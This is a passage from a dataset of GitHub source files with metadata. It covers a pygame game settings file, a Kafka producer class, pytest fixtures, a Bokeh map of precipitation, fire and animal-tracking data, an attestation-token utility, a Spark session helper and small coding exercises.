context)\n\n\napp.run(cores=2)\n\n","repo_name":"MarkReedZ/mrhttp","sub_path":"examples/8_template.py","file_name":"8_template.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"535007989","text":"import pygame\r\n\r\nSCREEN_WIDTH = 1280\r\nSCREEN_HEIGHT = 720\r\nFPS = 120\r\n\r\npreto = (30,30,30)\r\n\r\n#! Scale factor\r\nbg_height = pygame.image.load('graphics/other/bg.png').get_height()\r\nscale_factor = SCREEN_HEIGHT/bg_height\r\n\r\nBLOCK_MAP = [\r\n '666666666666',\r\n '444444444444',\r\n '333333333333', \r\n '222222222222', \r\n '111111111111',\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ']\r\n\r\nCOLOR_LEGEND = {\r\n '1' : 'blue',\r\n '2' : 'green',\r\n '3' : 'red', \r\n '4' : 'orange',\r\n '5' : 'purple',\r\n '6' : 'bronce',\r\n '7' : 'grey',\r\n}\r\n\r\nGAP_SIZE = 2\r\nBLOCK_HEIGHT = (SCREEN_HEIGHT/(len(BLOCK_MAP))) - GAP_SIZE\r\nBLOCK_WIDTH = (SCREEN_WIDTH/len(BLOCK_MAP[0])) - GAP_SIZE\r\nTOP_OFFSET = SCREEN_HEIGHT/20\r\n\r\nUPGRADES = ['speed', 'laser', 'heart', 'size']","repo_name":"PedroY2376/breakout","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"22408081176","text":"import sys\n\nwith open('input1244.txt', 'r') as fp :\n T = int(fp.readline().strip('\\n'))\n for test_case in range(1, 1+T):\n lines = list(map(int,(fp.readline().split())))\n #numbers = [int(i) for i in str(lines[0])] \n origin = list(map(int,str(lines[0])))\n num = origin\n cur = 0 \n while cur != lines[1] : \n \n \n cur+=1\n print(\"#{} {}\".format(test_case, lines))","repo_name":"nesllewr/SWexpertacademy","sub_path":"1244.py","file_name":"1244.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70588039925","text":"import re\n\n# confidence scores\ndef get_confidence_score(column_name, column_values):\n email_regex = r'\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b'\n total_score = 0\n count = 0\n \n for item in column_values:\n if re.match(email_regex, item):\n total_score += 1\n count += 1\n \n return (total_score / count)*100 if count > 0 else 0\n\ndef remove_null(column_val):\n null_strings = ['NA', 'N/A', 'na', 'n/a', 'Na', 'N/a']\n column_val = [elem for elem in column_val if elem is not None] # remove None values\n column_val = [elem for elem in column_val if elem not in null_strings] # remove any strings denoting null values\n return column_val","repo_name":"Linkit-CST499-SP23/CST-499-Capstone-Project-SP23---LinkIt","sub_path":"LinkIt/plugins/email_plugin.py","file_name":"email_plugin.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"72744977207","text":"\"\"\"Producer base-class providing common utilites and functionality\"\"\"\nimport logging\nimport time\n\nfrom confluent_kafka.admin import AdminClient, NewTopic\nfrom confluent_kafka.avro import AvroProducer\n\nlogger = logging.getLogger(__name__)\n\n\nclass Producer:\n \"\"\"Defines and provides common functionality amongst Producers\"\"\"\n\n # Tracks existing topics across all Producer instances\n existing_topics = set([])\n\n def __init__(\n self,\n topic_name,\n key_schema,\n value_schema=None,\n num_partitions=1,\n num_replicas=1,\n ):\n \"\"\"Initializes a Producer object with basic settings\"\"\"\n self.topic_name = topic_name\n self.key_schema = key_schema\n self.value_schema = value_schema\n self.num_partitions = num_partitions\n self.num_replicas = num_replicas\n\n self.broker_properties = {\n \"bootstrap.servers\": \"0.0.0.0:9092\"\n }\n\n if self.topic_name not in Producer.existing_topics:\n self.create_topic()\n Producer.existing_topics.add(self.topic_name)\n\n avro_producer_config = self.broker_properties\n avro_producer_config[\"schema.registry.url\"] = \"http://0.0.0.0:8081\"\n self.producer = AvroProducer(\n config=avro_producer_config\n )\n\n def do_create_topic(self, client, topic_name):\n futures = client.create_topics(\n [NewTopic(topic=topic_name, num_partitions=6, replication_factor=1)]\n )\n\n for topic, future in futures.items():\n try:\n future.result()\n logger.info(f\"Topic {topic_name} created\")\n except Exception as e:\n print(f\"Failed to create topic {topic_name}: {e}\")\n raise\n\n def delete_topic(self, client, topic_name):\n futures = client.delete_topics([topic_name])\n\n for topic, future in futures.items():\n try:\n future.result()\n logger.info(f\"Topic {topic_name} deleted\")\n except Exception as e:\n print(f\"Failed to delete topic {topic_name}: {e}\")\n raise\n\n def topic_exists(self, client, topic_name):\n topics_metadata = client.list_topics(timeout=5)\n return topics_metadata.topics.get(topic_name) is not None\n\n def create_topic(self):\n \"\"\"Creates the producer topic if it does not already exist\"\"\"\n client = AdminClient(self.broker_properties)\n\n exists = self.topic_exists(client, self.topic_name)\n print(f\"Topic {self.topic_name} exists: {exists}\")\n\n if exists is False:\n self.do_create_topic(client, self.topic_name)\n\n def time_millis(self):\n return int(round(time.time() * 1000))\n\n def close(self):\n \"\"\"Prepares the producer for exit by cleaning up the producer\"\"\"\n self.producer.flush()\n logger.info(\"producer flushed and ready for closing\")\n\n def time_millis(self):\n \"\"\"Use this function to get the key for Kafka Events\"\"\"\n return int(round(time.time() * 1000))\n","repo_name":"alexluix/ud-data-streaming-kafka-streaming","sub_path":"producers/models/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"32668879125","text":"import attr\nimport pytest\n\nfrom mta.base.application import Application\nfrom mta.utils import conf\n\nPLUGIN_KEY = \"app-holder\"\n\n\n@attr.s(cmp=False, hash=False)\nclass ApplicationHolderPlugin(object):\n primary_application = attr.ib()\n\n def pytest_sessionfinish(self):\n \"\"\"close browser after test finished\"\"\"\n self.primary_application.web_ui.browser_manager.close()\n\n @pytest.fixture(scope=\"session\")\n def application(self):\n \"\"\"Returns an instance of the application object\"\"\"\n return self.primary_application\n\n @pytest.fixture(scope=\"session\")\n def app(self, application):\n \"\"\"Returns an instance of the application object\"\"\"\n return application\n\n\n@pytest.hookimpl(trylast=True)\ndef pytest_configure(config):\n \"\"\"Hook to get app and conf\"\"\"\n config._mta_conf = conf\n app = Application(config=conf.get_config(\"env\"))\n plugin = ApplicationHolderPlugin(app)\n config.pluginmanager.register(plugin)\n","repo_name":"windup/windup_integration_test","sub_path":"mta/fixtures/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"1475908053","text":"from collections import deque\r\nn,k = map(int,input().split())\r\nmax = 200000\r\ntime = [-1]*max\r\ncheck = [False]*max\r\nq = deque()\r\nq1 = deque()\r\nq.append(n)\r\ncheck[n] = True\r\ntime[n] = 0\r\nwhile q:\r\n x = q.popleft()\r\n if x*2 < max and check[x*2] == False:\r\n q.append(x*2)\r\n check[x*2] = True\r\n time[x*2] = time[x]\r\n if x-1 >=0 and check[x-1] == False:\r\n q.append(x-1)\r\n check[x-1] = True\r\n time[x-1] = time[x]+1\r\n if x+1 < max and check[x+1] == False:\r\n q.append(x+1)\r\n check[x+1] = True\r\n time[x+1] = time[x]+1\r\n if not q:\r\n q = q1\r\n q1 = deque()\r\nprint(time[k])","repo_name":"kghees/Coding-Test","sub_path":"백준/Gold/13549. 숨바꼭질 3/숨바꼭질 3.py","file_name":"숨바꼭질 3.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"328988887","text":"from Particle import Particle\r\nfrom Hair import Hair\r\nfrom Environment import Environment\r\nimport numpy as np\r\nimport imageio\r\nimport re\r\nfrom Circle import *\r\n\r\n\r\nfrom Constraints import *\r\n\r\ndef read_configuration():\r\n f = open(\"Body\\shape_configuration.txt\",'r')\r\n particles = []\r\n f_line =f.readline()\r\n n_particles = int(f.readline())\r\n print(f_line)\r\n M = np.ndarray(shape=(n_particles, n_particles),dtype=float)\r\n M.fill(0)\r\n #line = f.readline()\r\n for i in range(n_particles):\r\n line = f.readline()\r\n print(\"reading:\", line)\r\n data = [x.strip() for x in re.split(',|#|\\n|:|\\)', line)]\r\n # [x.strip() for x in my_string.split(',')]\r\n p = Particle(x=float(data[1]), y=float(data[2]), v_x=float(data[3]), v_y=float(data[4]),\r\n mass=float(data[5]), mu_fraction=float(data[6]), name=data[0])\r\n print(data)\r\n for j in range(8, 8 + int(data[7])):\r\n M[i, int(data[j])] = 1\r\n #M[int(data[j]), i] = float(data[j + 1])\r\n\r\n p.print_particle()\r\n particles.append(p)\r\n #line = f.readline()\r\n print(M)\r\n #xx=input()\r\n ### ---end while---\r\n for i in range(n_particles):\r\n for j in range(n_particles):\r\n if M[i,j] == 1:\r\n M[i,j] = norm2(particles[i].pos - particles[j].pos)\r\n #M = []\r\n #for line in f.readline():\r\n # print(line)\r\n\r\n print(M)\r\n #xx =input()\r\n return particles, M\r\n### ---end read_configuration---\r\n\r\n\r\n# particles, M = read_configuration()\r\nhair = Hair()\r\nc = Circle(100, 150, -1, 0, 10)\r\n\r\n# xx = input()\r\nw, h = 220, 300\r\nwriter = imageio.get_writer(\"particle.gif\", mode=\"I\")\r\nframe = np.zeros(shape=(h, w, 3))\r\nenv = Environment(w, h)\r\nenv.set_bounded_box()\r\n\r\n\r\nfps = 24\r\nfourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')\r\nwriter_vid = cv2.VideoWriter(\"test.mp4\", fourcc, fps, (w, h))\r\n\r\nn_frames = 200\r\ncolor = [(255, 0, 0), (0, 255, 0), (10, 125, 10), (10, 125, 10)]\r\n\r\n\r\n# run the simulation for n_frames\r\nfor i in range(n_frames):\r\n print(\"frame:\", i, \"is rendering...\")\r\n\r\n # moving the circles\r\n c.compute_next_vel()\r\n c.compute_next_pos()\r\n c.update_pos()\r\n c_pos = np.array([c.pos[0], c.pos[1]])\r\n\r\n # particle step begins here\r\n\r\n # compute all forces\r\n G = np.array([0, 9.8])\r\n ind = 0\r\n\r\n for p in hair.hair_particles:\r\n # add the gravity force\r\n p.forces[0] = G * p.mass\r\n\r\n # compute the velocity\r\n p.compute_next_vel()\r\n\r\n # predict the next position\r\n p.compute_next_pos()\r\n\r\n # look for some collision\r\n\r\n # look for moving object\r\n collision_detect_circle(p, c)\r\n # look for the bounderies\r\n #collision_detect(p, env)\r\n\r\n ### ---end for---\r\n\r\n starts = [0]\r\n for p in hair.hair_particles:\r\n if p.isCollide:\r\n starts.append(p.name)\r\n\r\n if len(starts) == 0:\r\n min_particle = 0\r\n min_position = 0\r\n for p in hair.hair_particles:\r\n if p.pos[1] > min_position:\r\n min_particle = p.name\r\n min_position = p.pos[1]\r\n #starts.append(0)\r\n k_damping = 1\r\n epsilon = 0.1\r\n for k in range(150):\r\n #starts = constraint_projection_Q(hair.hair_particles, hair.hair_M, starts)\r\n constraint_projection(hair.hair_particles, hair.hair_M, k_damping)\r\n #k_damping = k_damping * (1 - epsilon)\r\n\r\n\r\n for p in hair.hair_particles:\r\n p.update_pos()\r\n\r\n frame.fill(255)\r\n frame = cv2.line(frame, (0, 100), (500, 100), (0,0,0), 1)\r\n\r\n c.draw_circle(frame)\r\n\r\n hair.draw_hair_frame(frame)\r\n\r\n writer.append_data(frame.astype(np.uint8))\r\n writer_vid.write(frame.astype(np.uint8))\r\n\r\nwriter_vid.release()\r\n","repo_name":"amirhoseink94/PBD","sub_path":"Codes/hair_version/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"30182953211","text":"from collections.abc import Iterable\nfrom copy import deepcopy\nimport logging\n\nimport base64\nimport yaml\nfrom ecdsa import SigningKey, VerifyingKey\nfrom iatverifier.attest_token_verifier import AttestationTokenVerifier\nfrom cbor2 import CBOREncoder\n\n_logger = logging.getLogger(\"util\")\n\n_known_curves = {\n \"NIST256p\": AttestationTokenVerifier.COSE_ALG_ES256,\n \"NIST384p\": AttestationTokenVerifier.COSE_ALG_ES384,\n \"NIST521p\": AttestationTokenVerifier.COSE_ALG_ES512,\n}\n\ndef convert_map_to_token(token_map, verifier, wfh, *, name_as_key, parse_raw_value):\n \"\"\"\n Convert a map to token and write the result to a file.\n \"\"\"\n encoder = CBOREncoder(wfh)\n verifier.convert_map_to_token(\n encoder,\n token_map,\n name_as_key=name_as_key,\n parse_raw_value=parse_raw_value,\n root=True)\n\n\ndef read_token_map(file):\n \"\"\"\n Read a yaml file and return a map\n \"\"\"\n if hasattr(file, 'read'):\n raw = yaml.safe_load(file)\n else:\n with open(file, encoding=\"utf8\") as file_obj:\n raw = yaml.safe_load(file_obj)\n\n return raw\n\n\ndef recursive_bytes_to_strings(token, in_place=False):\n \"\"\"\n Transform the map in 'token' by changing changing bytes to base64 encoded form.\n\n if 'in_place' is True, 'token' is modified, a new map is returned otherwise.\n \"\"\"\n if in_place:\n result = token\n else:\n result = deepcopy(token)\n\n if hasattr(result, 'items'):\n for key, value in result.items():\n result[key] = recursive_bytes_to_strings(value, in_place=True)\n elif (isinstance(result, Iterable) and\n not isinstance(result, (str, bytes))):\n result = [recursive_bytes_to_strings(r, in_place=True)\n for r in result]\n elif isinstance(result, bytes):\n result = str(base64.b16encode(result))\n\n return result\n\n\ndef read_keyfile(keyfile, method=AttestationTokenVerifier.SIGN_METHOD_SIGN1):\n \"\"\"\n Read a keyfile and return the key\n \"\"\"\n if keyfile:\n if method == AttestationTokenVerifier.SIGN_METHOD_SIGN1:\n return _read_sign1_key(keyfile)\n if method == AttestationTokenVerifier.SIGN_METHOD_MAC0:\n return _read_hmac_key(keyfile)\n err_msg = 'Unexpected method \"{}\"; must be one of: sign, mac'\n raise ValueError(err_msg.format(method))\n\n return None\n\ndef get_cose_alg_from_key(key, default):\n \"\"\"Extract the algorithm from the key if possible\n\n Returns the signature algorithm ID defined by COSE\n If key is None, default is returned.\n \"\"\"\n if key is None:\n return default\n if not hasattr(key, \"curve\"):\n raise ValueError(\"Key has no curve specified in it.\")\n return _known_curves[key.curve.name]\n\ndef _read_sign1_key(keyfile):\n with open(keyfile, 'rb') as file_obj:\n raw_key = file_obj.read()\n try:\n key = SigningKey.from_pem(raw_key)\n except Exception as exc:\n signing_key_error = str(exc)\n\n try:\n key = VerifyingKey.from_pem(raw_key)\n except Exception as vexc:\n verifying_key_error = str(vexc)\n\n msg = 'Bad key file \"{}\":\\n\\tpubkey error: {}\\n\\tprikey error: {}'\n raise ValueError(msg.format(keyfile, verifying_key_error, signing_key_error)) from vexc\n return key\n\n\ndef _read_hmac_key(keyfile):\n return open(keyfile, 'rb').read()\n","repo_name":"TrustedFirmware-M/tf-m-tools","sub_path":"iat-verifier/iatverifier/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"8712912030","text":"def yes_no(arr):\n\tif len(arr) is 2:\n\t\treturn arr\n\tmarker = \"marker\"\n\tanswer = []\n\ti = 0\n\ttest = True\n\twhile len(arr) != len(answer):\n\t\tif arr[i] != marker and test:\n\t\t\tanswer.append(arr[i])\n\t\t\tarr[i] = marker\n\t\t\ttest = not test\n\t\tif arr[i] != marker and not test:\n\t\t\ttest = not test\n\t\ti += 1\n\t\tif i is len(arr):\n\t\t\ti = 0\n\treturn answer\n","repo_name":"wojciechGaudnik/CodeWars","sub_path":"Python/kyu6YesNoYesNo.py","file_name":"kyu6YesNoYesNo.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"74297575284","text":"import re\n\n\ndef IsTimelineInteractionRecord(event_name):\n return event_name.startswith('Interaction.')\n\n\nclass TimelineInteractionRecord(object):\n \"\"\"Represents an interaction that took place during a timeline recording.\n\n As a page runs, typically a number of different (simulated) user interactions\n take place. For instance, a user might click a button in a mail app causing a\n popup to animate in. Then they might press another button that sends data to a\n server and simultaneously closes the popup without an animation. These are two\n interactions.\n\n From the point of view of the page, each interaction might have a different\n logical name: ClickComposeButton and SendEmail, for instance. From the point\n of view of the benchmarking harness, the names aren't so interesting as what\n the performance expectations are for that interaction: was it loading\n resources from the network? was there an animation?\n\n Determining these things is hard to do, simply by observing the state given to\n a page from javascript. There are hints, for instance if network requests are\n sent, or if a CSS animation is pending. But this is by no means a complete\n story.\n\n Instead, we expect pages to mark up the timeline what they are doing, with\n logical names, and flags indicating the semantics of that interaction. This\n is currently done by pushing markers into the console.time/timeEnd API: this\n for instance can be issued in JS:\n\n var str = 'Interaction.SendEmail/is_smooth,is_loading_resources';\n console.time(str);\n setTimeout(function() {\n console.timeEnd(str);\n }, 1000);\n\n When run with perf.measurements.timeline_based_measurement running, this will\n then cause a TimelineInteractionRecord to be created for this range and both\n smoothness and network metrics to be reported for the marked up 1000ms\n time-range.\n\n \"\"\"\n def __init__(self, event):\n self.start = event.start\n self.end = event.end\n\n m = re.match('Interaction\\.(.+)\\/(.+)', event.name)\n if m:\n self.logical_name = m.group(1)\n if m.group(1) != '':\n flags = m.group(2).split(',')\n else:\n flags = []\n else:\n m = re.match('Interaction\\.(.+)', event.name)\n assert m\n self.logical_name = m.group(1)\n flags = []\n\n for f in flags:\n if not f in ('is_smooth', 'is_loading_resources'):\n raise Exception(\n 'Unrecognized flag in timeline Interaction record: %s' % f)\n self.is_smooth = 'is_smooth' in flags\n self.is_loading_resources = 'is_loading_resources' in flags\n\n def GetResultNameFor(self, result_name):\n return \"%s/%s\" % (self.logical_name, result_name)\n","repo_name":"anirudhSK/chromium","sub_path":"tools/perf/metrics/timeline_interaction_record.py","file_name":"timeline_interaction_record.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"28799252253","text":"# Data handling\nimport numpy as np\nfrom netCDF4 import Dataset\nimport xarray as xr\nimport pandas as pd\nimport datetime\n\n# Mapping\nfrom bokeh.models import *\nfrom bokeh.plotting import *\nfrom bokeh.io import *\nfrom bokeh.tile_providers import *\nfrom bokeh.palettes import *\nfrom bokeh.transform import *\nfrom bokeh.layouts import *\n\n\ndef wgs84_to_web_mercator(lon, lat, df=None):\n \"\"\"Converts decimal longitude/latitude to Web Mercator format\"\"\"\n k = 6378137\n \n if isinstance(df, pd.DataFrame):\n df['MERC_LON'] = pd.to_numeric(df[lon], errors='coerce') * (k * np.pi/180.0)\n df['MERC_LAT'] = np.log(np.tan((90 + pd.to_numeric(df[lat], errors='coerce').astype(float)) * np.pi/360.0)) * k\n return df\n else:\n lonMER = lon.astype(float) * (k * np.pi/180.0)\n latMER = np.log(np.tan((90 + lat.astype(float)) * np.pi/360.0)) * k\n return pd.DataFrame({'LAT': latMER, 'LON': lonMER})\n\ndef wgs84_to_web_mercator_rad(lon, lat, df=None):\n \"\"\"Converts decimal longitude/latitude to Web Mercator format\"\"\"\n zoom_level = 3\n \n if isinstance(df, pd.DataFrame):\n df['MERC_LON'] = pd.to_numeric(df[lon], errors='coerce') * (k * np.pi/180.0)\n df['MERC_LAT'] = np.log(np.tan((90 + pd.to_numeric(df[lat], errors='coerce').astype(float)) * np.pi/360.0)) * k\n return df\n else:\n lonMER = (256/2*np.pi)* 2**zoom_level *(lon.astype(float) * np.pi)\n latMER = (256/2*np.pi)* 2**zoom_level *(np.pi - np.log(np.tan((np.pi/4)+(lat/2))))\n return pd.DataFrame({'LAT': latMER, 'LON': lonMER})\n\ndef getPrecipMap(plot, date_user):\n \n def create_plot_precip(plot, source, color):\n plot.circle(x='LON', y='LAT', size=5, fill_color=color, line_color = color, fill_alpha=0.5, line_alpha=0., source=source)\n \n #date_user = \"20150701\"\n date_user_f = date_user.split(\"-\")\n date_user = date_user_f[0]+date_user_f[1]+date_user_f[2]\n print(\"date_user for precipitation\")\n print(date_user)\n \n data = xr.open_dataset('data/Dataset_precipitation/3B-DAY.MS.MRG.3IMERG.'+date_user+'-S000000-E235959.V06.nc4.nc4')\n \n # Range 1 : 20 to 80\n data1 = (data['precipitationCal'].values > 20) & (data['precipitationCal'].values < 80)\n # Range 2: 80 to 150\n data2 = (data['precipitationCal'].values >= 80) & (data['precipitationCal'].values < 150)\n # Range 3: 150 to 250\n data3 = (data['precipitationCal'].values >= 150) & (data['precipitationCal'].values < 250)\n # Range 4: 250 to 350\n data4 = (data['precipitationCal'].values >= 250) & (data['precipitationCal'].values < 350)\n # Range 5: 350 to 450\n data5 = (data['precipitationCal'].values >= 350) & (data['precipitationCal'].values < 450)\n # Range 6: greater than 450\n data6 = (data['precipitationCal'].values >= 450) \n \n # Range 1\n # tripla1[0] corresponds to time coord, tripla1[1] corresponds to lon, tripla1[2] corresponds to lat\n tripla1 = np.where(data1 == True)\n lon1 = data.lon.values[tripla1[1]]\n lat1 = data.lat.values[tripla1[2]]\n # Range 2\n tripla2 = np.where(data2 == True)\n lon2 = data.lon.values[tripla2[1]]\n lat2 = data.lat.values[tripla2[2]]\n # Range 3\n tripla3 = np.where(data3 == True)\n lon3 = data.lon.values[tripla3[1]]\n lat3 = data.lat.values[tripla3[2]]\n # Range 4\n tripla4 = np.where(data4 == True)\n lon4 = data.lon.values[tripla4[1]]\n lat4 = data.lat.values[tripla4[2]]\n # Range 5\n tripla5 = np.where(data5 == True)\n lon5 = data.lon.values[tripla5[1]]\n lat5 = data.lat.values[tripla5[2]]\n # Range 6\n tripla6 = np.where(data6 == True)\n lon6 = data.lon.values[tripla6[1]]\n lat6 = data.lat.values[tripla6[2]]\n\n print('precip_lat1: ',lat1,'precip_lon1: ',lon1)\n\n source1 = ColumnDataSource(\n data=wgs84_to_web_mercator(lon1, lat1))\n source2 = ColumnDataSource(\n data=wgs84_to_web_mercator(lon2, lat2))\n source3 = ColumnDataSource(\n data=wgs84_to_web_mercator(lon3, lat3))\n source4 = ColumnDataSource(\n data=wgs84_to_web_mercator(lon4, lat4))\n source5 = ColumnDataSource(\n data=wgs84_to_web_mercator(lon5, lat5))\n source6 = ColumnDataSource(\n data=wgs84_to_web_mercator(lon6, lat6))\n\n create_plot_precip(plot, source1,\"#CAF2EF\")\n create_plot_precip(plot, source2,'#7FD7D1')\n create_plot_precip(plot, source3,'#60C0CA')\n create_plot_precip(plot, source4,'#479AC8')\n create_plot_precip(plot, source5,'#327FAA')\n create_plot_precip(plot, source6,'#306B8B')\n\n\ndef getFireMap(plot):\n \n def create_plot_fire(plot, source, color):\n plot.circle(x='LON', y='LAT', size=10, fill_color=color, line_color = color, fill_alpha=0.5, line_alpha=0., source=source)\n \n from import_modis_hdf import get_modis_data\n \n date_user = \"28/08/2020\"\n \n data = get_modis_data(date_user, directory='data/MOD14A2/')\n \n for tile in data:\n\n # Cat 7 fire (low confidence)\n cat7 = tile[2] == 7\n # Cat 8 fire (nominal confidence)\n cat8 = tile[2] == 8\n # 9 fire (high confidence)\n cat9 = tile[2] == 9\n # Other\n # catX = (tile[2] != 7) & (tile[2] != 8) & (tile[2] != 9)\n \n # Range 1\n tripla1 = np.where(cat7 == True)\n lon1 = tile[1][tripla1[1]][:,0]\n lat1 = tile[0][tripla1[0]][:,0]\n # Range 2\n tripla2 = np.where(cat8 == True)\n lon2 = tile[1][tripla2[1]][:,0]\n lat2 = tile[0][tripla2[0]][:,0]\n # Range 3\n tripla3 = np.where(cat9 == True)\n lon3 = tile[1][tripla3[1]][:,0]\n lat3 = tile[0][tripla3[0]][:,0]\n\n source1 = ColumnDataSource(data=wgs84_to_web_mercator(lon1, lat1))\n source2 = ColumnDataSource(data=wgs84_to_web_mercator(lon2, lat2))\n source3 = ColumnDataSource(data=wgs84_to_web_mercator(lon3, lat3))\n \n \n create_plot_fire(plot, source1,'#F1C40F')\n create_plot_fire(plot, source2,'#E67E22')\n create_plot_fire(plot, source3,'#C0392B')\n \n\ndef getMap(date_user, sel=1):\n \n \"\"\"FIGURE\"\"\"\n \n tile_provider = get_provider(Vendors.STAMEN_TERRAIN)\n\n plot = figure(\n title='Space4Life',\n match_aspect=True,\n tools='wheel_zoom,pan,reset,save',\n x_axis_type='mercator',\n y_axis_type='mercator',\n plot_width=1000,\n plot_height=750\n )\n\n plot.grid.visible=True\n map = plot.add_tile(tile_provider)\n map.level = 'underlay'\n\n plot.xaxis.visible = True\n plot.yaxis.visible = True\n \n \n \"\"\"PRECIPITATION LAYER\"\"\"\n if sel == 1:\n getPrecipMap(plot, date_user)\n else:\n getFireMap(plot)\n \n \"\"\"MOVEBANK LAYER\"\"\"\n\n \n dfAnimals = pd.read_csv('data/movebank/Brown pelican data from Lamb et al. (2017).csv')\n \n dfAnimals['timestamp'] = pd.to_datetime(dfAnimals['timestamp'], errors = 'coerce')\n dfAnimals = dfAnimals.sort_values('timestamp')\n dfAnimals = wgs84_to_web_mercator('location-long', 'location-lat', dfAnimals)\n \n datec = datetime.datetime.strptime(date_user,'%Y-%m-%d')\n datec_1 = datec + datetime.timedelta(days=1)\n\n datemask = (dfAnimals['timestamp'] >= datec) & (dfAnimals['timestamp'] < datec_1 )\n dfAnimals = dfAnimals.loc[datemask]\n \n animal_ids = dfAnimals['individual-local-identifier'].unique().tolist()\n \n cut = 10\n \n cut_animal_ids = animal_ids[:cut]\n \n dfAnimals = dfAnimals[dfAnimals['individual-local-identifier'].isin(cut_animal_ids)]\n \n source = ColumnDataSource(dfAnimals)\n \n color=factor_cmap('individual-local-identifier', palette=magma(len(cut_animal_ids)), factors=animal_ids)\n\n plot.scatter(x='MERC_LON', y='MERC_LAT', source=source, size=5, marker='x', color=color, name='animals')\n \n plot.add_tools(HoverTool(names=['animals'],\n tooltips=[\n ('id', '@{individual-local-identifier}'), # use @{ } for field names with spaces\n ('timestamp', '@{timestamp}{%Y-%m-%d %H:%M:%S}'),\n ],\n formatters={\n '@{individual-local-identifier}': 'printf',\n '@{timestamp}': 'datetime',\n },\n mode = 'mouse'\n ))\n\n return plot\n","repo_name":"zrowland885/Space4Life","sub_path":"appmaps.py","file_name":"appmaps.py","file_ext":"py","file_size_in_byte":8163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42074805821","text":"import os\n\nimport tornado.testing\n\nfrom run_service import make_app, connect_redis\nfrom tests.handlers.handler_test_case import HandlerTestCase\n\n\nclass TestMargesHandler(HandlerTestCase):\n def tearDown(self):\n self.io_loop.run_sync(self.redis.flushdb)\n\n super().tearDown()\n\n def get_app(self):\n self.redis = self.io_loop.run_sync(lambda: connect_redis(os.environ))\n\n return make_app({\n \"redis\": self.redis\n })\n\n @tornado.testing.gen_test\n async def test_get_returns_404_when_key_does_not_exist_in_redis(self):\n response = await self.fetch(\"/api/v1/marges/hair\")\n\n self.assertEqual(404, response.code)\n\n @tornado.testing.gen_test\n async def test_get_returns_value_when_key_exists_in_redis(self):\n await self.redis.set(\"hair\", \"blue\")\n\n response = await self.fetch(\"/api/v1/marges/hair\")\n\n self.assertEqual(200, response.code)\n self.assertEqual(b\"blue\", response.body)\n\n @tornado.testing.gen_test\n async def test_post_sets_value_in_redis(self):\n await self.redis.set(\"dress\", \"red\")\n\n response = await self.fetch(\n \"/api/v1/marges/dress\",\n method=\"POST\",\n body=\"green\")\n\n self.assertEqual(204, response.code)\n\n self.assertEqual(b\"green\", await self.redis.get(\"dress\"))\n","repo_name":"tjensen/PyTexas2017","sub_path":"tests/handlers/test_marges_handler.py","file_name":"test_marges_handler.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"76"} +{"seq_id":"24435910777","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom pyspark import SparkConf\nfrom pyspark.sql import SparkSession\n\"\"\"\nspark相关工具类\n\"\"\"\nclass SparkUtils:\n\n @staticmethod\n def getSparkSession(name, **kw):\n \"\"\"\n 获取spark会话实例\n :param name:\n :param kw:\n :return:\n \"\"\"\n\n conf = SparkConf()\n conf.setMaster(kw.get(\"spark.master\", \"yarn-client\"))\n conf.set('spark.dynamicAllocation.enabled', 'false')\n conf.set(\"spark.yarn.am.cores\", kw.get(\"spark.yarn.am.cores\", 5))\n conf.set(\"spark.yarn.am.memory\", kw.get(\"spark.yarn.am.memory\", '5g'))\n conf.set(\"spark.executor.memory\", kw.get(\"spark.executor.memory\", \"40g\"))\n conf.set(\"spark.executor.instances\", kw.get(\"spark.executor.instances\", 5))\n conf.set(\"spark.executor.cores\", kw.get(\"spark.executor.cores\", 6))\n conf.set(\"spark.sql.shuffle.partitions\", kw.get(\"spark.sql.shuffle.partitions\", 1000))\n conf.set(\"spark.shuffle.file.buffer\", kw.get(\"spark.shuffle.file.buffer\", '512k'))\n conf.set(\"spark.shuffle.io.maxRetries\", kw.get(\"spark.shuffle.io.maxRetries\", 5))\n conf.set(\"spark.sql.warehouse.dir\", kw.get(\"spark.sql.warehouse.dir\", \"hdfs://user/hive/warehouse\"))\n conf.set(\"spark.executor.extraJavaOptions\", \"-XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+UseG1GC\")\n\n # 默认为1,cluster模式下有效\n # conf.set(\"spark.driver.cores\", kw.get(\"spark.driver.cores\", 5))\n # 默认为1G,cluster模式下有效\n # conf.set(\"spark.driver.memory\", kw.get(\"spark.driver.memory\", \"10g\"))\n # driver堆外内存\n # 